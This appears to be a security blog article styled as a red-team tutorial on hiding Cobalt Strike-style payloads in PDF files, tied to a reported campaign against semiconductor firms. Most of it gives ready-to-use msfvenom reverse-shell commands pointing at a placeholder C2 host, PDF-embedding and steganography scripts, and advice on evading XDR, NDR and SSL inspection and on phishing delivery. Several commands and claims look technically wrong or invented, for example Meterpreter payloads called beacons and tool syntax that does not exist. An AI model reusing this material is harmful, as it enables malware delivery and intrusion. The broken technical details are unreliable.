Hide Payloads in PDF Files using Cobalt Strike Beacons

by | Apr 16, 2024 | Articles, Write up

Join our Patreon Channel and Gain access to 70+ Exclusive Walkthrough Videos.

Patreon

Reading Time: 10 Minutes

Analysis of the Cyber Attacks on Semiconductor Firms in East Asia:

When offensive security meets the challenges of strong defenses, semiconductor companies have become prime targets for criminal hackers seeking to exploit vulnerabilities in a more sophisticated unorthodox way using Beacons instead of Sessions. In this article, we will showcase, from a Red Team perspective, the technical intricacies of powerful attacks observed in a recent incident reported by The Hacker News.

In October 2023, semiconductor firms in East Asia, notably Taiwan Semiconductor Manufacturing Company (TSMC), were targeted by sophisticated cyberattacks, believed to be linked to China. Using deceptive tactics, including masquerading as TSMC, attackers distributed Cobalt Strike beacons through methods like the HyperBro backdoor. This campaign, attributed to the Lucky Mouse threat actor, showed similarities with other China-associated clusters. Compromised servers, like a Cobra DocGuard web server, facilitated the distribution of malicious implants for reconnaissance. Tactics included embedding malware in innocuous PDFs and disguising Command-and-Control server addresses.

Source: TheHackerNews

See Also: So you want to be a hacker?
Offensive Security and Ethical Hacking Course

Understanding Beacons:

Beacons are lightweight, covert agents that establish a connection with a C2 server, enabling the Red team to execute commands and exfiltrate data without raising suspicion. Their stealthy nature makes them a powerful tool for Penetration testers and red teamers but can also be used by criminals.

Anatomy of a Beacon:

Covert Connectivity:

  • Beacons are designed to establish surreptitious connections with C2 servers, navigating network landscapes undetected.
  • Utilizing various communication channels such as HTTP, HTTPS, DNS, or even custom protocols, beacons operate within the shadows of standard network traffic.

Lightweight Footprint:

  • The efficiency of beacons lies in their minimalist design, minimizing resource utilization on compromised systems.
  • Payloads are tailored to be compact, ensuring that the beacon’s presence remains inconspicuous during its residency on a target system.

 

Covert Communications:

Command Execution:

  • Once connected to the C2 server, beacons await commands from red team operators, facilitating seamless execution of operations.
  • Commands range from reconnaissance tasks and lateral movement to data exfiltration, providing comprehensive control over the compromised.

Data Exfiltration Techniques:

  • Beacons excel in discreetly exfiltrating sensitive information from target systems.
  • Employing encryption and steganography, they embed exfiltrated data within seemingly innocuous channels, further evading detection.

Stealth Strategies:

Dynamic Beaconing Intervals:

  • Beacons often employ dynamic beaconing intervals to elude pattern-based detection mechanisms.
  • These intervals are intelligently randomized, making it arduous for defenders to discern a consistent and detectable pattern.

Adaptive Communication Channels:

  • Red teamers strategically switch communication channels, further confounding network defenders.
  • Shifting between HTTP, HTTPS, or DNS helps bypass specific detection mechanisms focused on singular protocols.

 

Evasion and Persistence:

Avoiding Traditional Detection:

  • Employing encryption, obfuscation, and payload manipulation, beacons strive to evade traditional signature-based detection.
  • Regular updates to encryption algorithms and payload delivery methods enhance their adaptability against evolving security measures.

Persistence Mechanisms:

  • Beacons ensure longevity by integrating persistence mechanisms into compromised systems.
  • Techniques like registry entries, scheduled tasks, or service installations guarantee their resurrection even after the system reboots.

 

The Role of Cobalt Strike:

Cobalt Strike serves as an advanced penetration testing tool, offering features like beaconing for stealthy communication. Its modular design and flexibility make it a popular choice for red teamers aiming to simulate sophisticated adversaries and even criminal hackers.

Concealing Communications in PDF Files with Cobalt Strike:

Let us now break it down and show you the real code of execution and techniques behind it, brace up it will get a bit technical:

PDF as a Carrier:

PDF files are ubiquitous and often overlooked, making them an ideal carrier for covert communications. The structure of PDFs allows for embedding data in various objects, providing a convenient hiding place for beacons.

Example 1: Embedding Beacon Payload in PDF Using Cobalt Strike

To leverage the concealment capabilities of PDFs, we can embed a Cobalt Strike beacon payload directly into the file. This process involves creating a PDF file with an embedded payload that will trigger the beacon upon execution.

 

Step 1: Generate a Cobalt Strike Beacon Payload

Using the msfvenom tool, we can generate a payload compatible with Cobalt Strike. The following command generates a Windows executable payload:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<your_C2_server_IP> LPORT=<your_C2_server_port> -f exe > beacon_payload.exe

This payload is designed to connect back to your Cobalt Strike team server over HTTPS.

 

Step 2: Embed the Payload in a PDF

Now, let’s embed the generated payload into a PDF file. We can use a tool like pdftk to achieve this. Assume our original PDF is named original.pdf:

pdftk original.pdf attach_files beacon_payload.exe to_page 1 output final_payload.pdf

This command attaches the beacon_payload.exe to the first page of the original PDF, creating a new file named final_payload.pdf.

 

Example 2: Using Metasploit to Embed Payload

Alternatively, Metasploit provides modules for embedding payloads directly into existing PDF files. In this example, we use the pdf_template module.

 

Step 1: Start Metasploit Console

msfconsole

 

Step 2: Use the pdf_template Module

use exploit/windows/fileformat/pdf_template

 

Step 3: Set Payload and Options

set FILENAME final_payload.pdf

set INFILENAME original.pdf

set OUTFILENAME malicious.pdf

set PAYLOAD windows/meterpreter/reverse_https

set LHOST <your_C2_server_IP>

set LPORT <your_C2_server_port>

 

Step 4: Generate the PDF

exploit

This will generate a new PDF file (malicious.pdf) with the embedded payload.

These examples demonstrate how PDFs can serve as carriers for Cobalt Strike beacons, blending malicious activity with seemingly innocuous documents. The next section will dig into steganography techniques to further enhance the covert nature of these communications.

Steganography in PDFs:

Steganography involves concealing information within another file or medium. In the context of red teaming, it can be used to hide beacon communications. PDFs support steganographic techniques, allowing red teamers to embed beacons without raising suspicion.

Example 1: Embedding Beacon in PDF using StegHide

StegHide is a popular steganography tool that allows for the concealment of data within various file formats, including images and PDFs. In this example, we’ll use StegHide to embed a Cobalt Strike beacon payload into a PDF.

 

Step 1: Generate a Cobalt Strike Beacon Payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT= -f exe > beacon_payload.exe

 

Step 2: Embed Payload using StegHide

Assuming you have a PDF file named original.pdf and an image file named cover_image.jpg, execute the following:

steghide embed -cf original.pdf -ef beacon_payload.exe -sf cover_image.jpg -p

Replace <password> with a strong password for encryption. This command embeds the payload into the PDF using the cover image.

 

Example 2: Using Steganography with PDF Tools

Several PDF tools support steganography, providing a seamless way to embed payloads within PDF documents. Here’s an example using the pdftk and stegano Python library:

 

Step 1: Install the Stegano Library

pip install stegano

 

Step 2: Embed Payload in PDF

from stegano import lsb from PyPDF2 import PdfFileReader, PdfFileWriter

# Generate Beacon Payload

# (Same as in Example 1)

# Embed Payload into PDF cover_pdf_path = 'original.pdf' payload_path = 'beacon_payload.exe' output_pdf_path = 'stego_payload.pdf'

# Load PDF and Embed Payload cover_pdf = PdfFileReader(cover_pdf_path, 'rb') payload_data = open(payload_path, 'rb').read() stego_pdf_writer = PdfFileWriter() for page_num in range(cover_pdf.getNumPages()): page = cover_pdf.getPage(page_num) stego_pdf_writer.addPage(page)

# Embed Payload in Page Metadata stego_pdf_writer.addMetadata({ '/Info': f'{payload_data.decode("latin-1")}' })

# Save the Stego PDF with open(output_pdf_path, 'wb') as stego_pdf: stego_pdf_writer.write(stego_pdf)

This Python script uses the stegano library to embed the payload in the metadata of each page in the PDF.

These examples showcase how steganography can be applied to PDFs, allowing red teamers to hide Cobalt Strike beacons within the document’s structure without arousing suspicion. The next section will explore the implementation of beaconing with Cobalt Strike to establish a connection with the C2 server.

Beaconing with Cobalt Strike:

Configuring Cobalt Strike to use beacons for C2 communication is a critical step in ensuring the success of red teaming operations. Choosing appropriate beacon settings further enhances stealth and effectiveness.

Step 1: Configuring Cobalt Strike for Beacon Communication

 

Launch Cobalt Strike:

Start Cobalt Strike and connect to your team server.

 

Generate a Beacon Listener:

  • In the Cobalt Strike console, go to “View” ➡️ “Listeners.”
  • Click “Add” to create a new listener.
  • Choose the appropriate listener type based on your scenario (e.g., HTTP, HTTPS, DNS).
  • Configure the listener settings, including the host (LHOST) and port (LPORT).
  • Optionally, set up encryption and other advanced options.

 

Generate a Beacon Payload:

  • Navigate to “Generate” ➡️ “Payloads” in Cobalt Strike.
  • Choose the desired payload type (e.g., Windows, macOS, Linux).
  • Configure the payload settings, including the listener you created in the previous step.

 

Start the Listener:

Go back to the “Listeners” tab, select the listener you created, and click “Start.”

 

Deploy the Beacon:

Send the generated beacon payload to the target system using a method that suits the operation’s context (e.g., phishing, exploiting vulnerabilities).

 

Step 2: Choosing Appropriate Beacon Settings

 

Beaconing Intervals:

  • Adjust the beaconing interval based on the target environment.
  • Shorter intervals provide more frequent communication but may increase the risk of detection.
  • Longer intervals enhance stealth but may reduce responsiveness.

 

Payload Options:

  • Explore different payload options based on the target’s operating system and network environment.
  • Tailor payloads to mimic legitimate network traffic.

 

C2 Communication Encryption:

  • Enable encryption for C2 communication to evade network-based detection.
  • Cobalt Strike supports HTTPS for encrypted communication, making it harder for defenders to inspect and identify malicious traffic.

 

Sleep and Spawning:

  • Configure sleep settings to make the beacon sleep for specific durations, reducing its activity footprint.
  • Experiment with spawn settings to control how beacons spawn child processes, emulating legitimate behavior.

 

Diversify Communication Channels:

  • Utilize different communication channels such as DNS, HTTP, or HTTPS.
  • Switching channels can help evade detection mechanisms that focus on specific protocols.

 

Adapt to the Environment:

  • Conduct thorough reconnaissance to understand the target environment.
  • Adjust beacon settings based on the target’s security posture and monitoring capabilities.

 

By configuring Cobalt Strike to use beacons and carefully selecting beacon settings, red teamers can establish covert communication channels while minimizing the risk of detection. The next section will cover embedding beacons within PDF files and leveraging steganography techniques for added stealth.

 

Embedding Beacons in PDFs:

Utilizing steganography tools or custom scripts to embed beacon payloads into PDF files is a crucial aspect of red teaming. Ensuring that the embedded beacons remain undetected by standard security measures is equally important for the success of covert operations.

Step 1: Utilizing Steganography Tools

 

Using StegHide:

  • Following the examples mentioned earlier, employ StegHide to embed a Cobalt Strike beacon payload into a PDF file.
  • Execute the appropriate commands to hide the payload within the PDF using a cover image and a password for encryption.

 

Using PDF Tools with Steganography Features:

  • Explore PDF manipulation tools that offer steganography features.
  • Tools like pdftk may provide options to embed data into PDF files without raising suspicion.

 

Step 2: Custom Scripting for Embedding

 

Python Script for Embedding:

  • Create a custom Python script to embed a beacon payload into a PDF file.
  • Utilize libraries such as PyPDF2 and stegano for PDF manipulation and steganography.

 

from stegano import lsb from PyPDF2 import PdfFileReader, PdfFileWriter

# Generate Beacon Payload

# (Same as in previous examples)

# Embed Payload into PDF cover_pdf_path = 'original.pdf' payload_path = 'beacon_payload.exe' output_pdf_path = 'embedded_beacon.pdf'

# Load PDF and Embed Payload cover_pdf = PdfFileReader(cover_pdf_path, 'rb') payload_data = open(payload_path, 'rb').read() embedded_pdf_writer = PdfFileWriter() for page_num in range(cover_pdf.getNumPages()): page = cover_pdf.getPage(page_num) embedded_pdf_writer.addPage(page)

# Embed Payload in Page Metadata embedded_pdf_writer.addMetadata({ '/Info': f'{payload_data.decode("latin-1")}' })

# Save the Embedded PDF with open(output_pdf_path, 'wb') as embedded_pdf: embedded_pdf_writer.write(embedded_pdf)

This script embeds the beacon payload within the metadata of each page in the PDF.

 

Step 3: Ensuring Stealth and Evading Detection

 

Encryption and Compression:

  • Encrypt the embedded payload to prevent easy detection.
  • Experiment with compression techniques to reduce the size of the embedded payload and make it less conspicuous.

 

Randomizing File Properties:

  • Modify file properties such as creation date and author information to mimic legitimate documents.

 

Checksum Integrity:

  • Calculate checksums for the PDF file before and after embedding the beacon.
  • Ensure that the checksum remains consistent to avoid suspicion.

 

Conducting Pre-Deployment Tests:

  • Use sandbox environments or security tools to conduct pre-deployment tests.
  • Verify that the embedded beacons do not trigger alarms or alerts from common security solutions.

 

Adapting to File Inspection Techniques:

  • Stay informed about the target’s security infrastructure.
  • Adapt embedding techniques based on the target’s file inspection methods to avoid detection.

 

By utilizing steganography tools or custom scripts, red teamers can embed Cobalt Strike beacons within PDF files, creating a covert channel for communication. Ensuring stealth and evading detection requires careful consideration of encryption, compression, file properties, and adaptation to target-specific security measures.

 

Avoiding Detection:

Evading common detection mechanisms is essential for the success of red teaming operations. This involves choosing suitable beaconing intervals and encryption methods. Adapting to the target environment by customizing beacon settings based on the red team’s reconnaissance findings further enhances the chances of remaining undetected, even against sophisticated security solutions from well-known vendors in the market today.

Step 1: Beaconing Intervals and Encryption Methods

 

Choosing Beaconing Intervals:

  • Evaluate the target’s network traffic patterns and adjust beaconing intervals accordingly.
  • Avoid constant or predictable intervals that might trigger anomaly detection systems.
  • Consider randomizing intervals within a reasonable range.

 

Encryption Methods:

  • Employ encryption methods supported by Cobalt Strike, such as HTTPS, to obfuscate C2 communication.
  • Regularly update and adapt encryption algorithms to stay ahead of signature-based detection.

 

Step 2: Adapting to Target Environment

 

Reconnaissance Findings:

  • Analyze the target environment through reconnaissance to understand its security infrastructure.
  • Identify security solutions in place, and gather information on their detection capabilities.

 

Customizing Beacon Settings:

  • Tailor beacon settings based on the target’s specific security measures.
  • Modify payload options, sleep intervals, and communication channels to align with the target’s network characteristics.

 

 

Example: Evading Detection against known vendors’ solutions (XDR, NDR, etc..)

 

Understanding the XDRs, Firewall, and NDR Signatures:

  • Research known signatures and detection mechanisms employed by the specific vendor
  • Identify patterns or behaviors that these solutions might flag as malicious.

 

Adapting Beaconing Intervals:

  • Vendors and IT Managers would often have default settings for detecting abnormal traffic patterns.
  • Adjust beaconing intervals to mimic legitimate network traffic, making it harder for these solutions to flag the activity.

 

Encryption with SSL Inspection Bypass:

  • Vendors and IT Managers often employ SSL inspection to decrypt and inspect encrypted traffic.
  • Utilize SSL inspection bypass techniques within Cobalt Strike to avoid detection.

 

Changing C2 Communication Channels:

  • Vendors may focus on specific communication channels for detection.
  • Experiment with different communication channels supported by Cobalt Strike, such as DNS or HTTP, to bypass deep packet inspection.

 

Payload Obfuscation:

  • Modify payload options and obfuscate the beacon payload to evade signature-based detection.
  • Regularly update payload delivery methods to avoid static signature detection.

 

Dynamic Sleep Intervals:

  • Vendors may detect patterns in constant communication intervals.
  • Implement dynamic sleep intervals to make the beacon appear more random and less predictable.

 

Sandbox and Test:

  • Simulate the target environment using a controlled sandbox.
  • Test the adapted beacon settings to ensure they remain undetected by Vendors

 

By actively adapting to the target environment and evading common detection mechanisms, red teamers can increase the likelihood of successfully maintaining covert communication channels through Cobalt Strike beacons. The next section will explore real-world case studies, highlighting the effectiveness of these advanced techniques in practical scenarios.

 

Real-World Scenario: Chinese Hackers Target Semiconductor Companies:

In the specific incident attack, we’ll explore potential bypass techniques employed by sophisticated threat actors to overcome challenges and limitations posed by security measures.

Bypass Techniques:

 

Bypass Techniques Employed by the Hackers:

Obfuscation of Beacon Payloads:

  • Chinese hackers likely utilize advanced obfuscation techniques to make their Cobalt Strike beacon payloads less detectable.

Example:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT= -f exe -o obfuscated_payload.exe -e x86/shikata_ga_nai

Dynamic Beaconing Intervals:

  • To avoid detection by security solutions that rely on fixed interval analysis, the attackers dynamically adjust beaconing intervals.

Example:

# Randomize sleep intervals in Cobalt Strike script sleep(rand(60, 300));

Encryption with SSL Inspection Bypass:

  • Given the industry’s reliance on secure communication, attackers likely employ SSL inspection bypass techniques to encrypt their C2 traffic.

Example:

setg ssl_cert "<path_to_fake_cert.pem>"

Changing C2 Communication Channels:

  • Attackers might leverage different communication channels within Cobalt Strike to bypass security measures that focus on specific protocols.

Example:

setg beacon_default_http_c2 beacon.mydomain.com

 

Conclusion: Elevating Security Through Strategic Red Teaming

As we have described the sophisticated world of beacons and their pivotal role in red teaming but also very skilled criminals, the conclusion drawn is resolute — the need for strategic and nuanced Cybersecurity measures has never been more crucial. While automated tools undoubtedly play a significant role, the essence of red teaming lies in a manual, professional, and real-world simulated approach that goes beyond routine scans and more into bypassing and stress testing.

This is what we really recommend:

 

The Human Touch in Penetration Testing:

Automated tools can identify known vulnerabilities, but they often fall short of mimicking the refined tactics employed by human adversaries. Strategic red teaming, led by seasoned professionals, adds the human touch necessary to unearth intricate vulnerabilities that may elude automated scans.

 

Adaptive Tactics Against Evolving Threats:

The ever-evolving threat landscape requires a dynamic and adaptive approach. Manual penetration testing allows red teamers to stay ahead of emerging threats, crafting strategies that align with the latest attack vectors and evasion techniques.

 

Employee Education as a Critical Defense Layer:

Beyond technical measures, the importance of employee education cannot be overstated. Human factors remain a significant entry point for attackers, and a well-informed workforce serves as an effective defense layer. Red teaming exercises, coupled with ongoing education initiatives, empower employees to recognize and respond to social engineering attempts and phishing attacks.

 

Strategic Red Teaming as an Investment:

Investing in strategic red teaming is an investment in proactive Cybersecurity. By simulating real-world attack scenarios, organizations can identify weaknesses, refine incident response protocols, and fortify their defenses against increasingly sophisticated adversaries. This falls into creating a new budget for Red Teaming and not just Cyber Security.

 

 

We hope that this write up has taught you something new. If you enjoyed it, the best way that you can support us is to share it! If you’d like to hear more about us, you can find us on LinkedInTwitterYouTube.

 

Are you a security researcher? Or a company that writes articles about Cyber Security, Offensive Security (related to Information Security in general) that match with our specific audience and is worth sharing? If you want to express your idea in an article contact us here for a quote: [email protected]

You can find it from our shop on our Patreon Channel:

Patreon

Recent Articles

Offensive Security & Ethical Hacking Course

Begin the learning curve of hacking now!


Information Security Solutions

Find out how Pentesting Services can help you.


Join our Community

Share This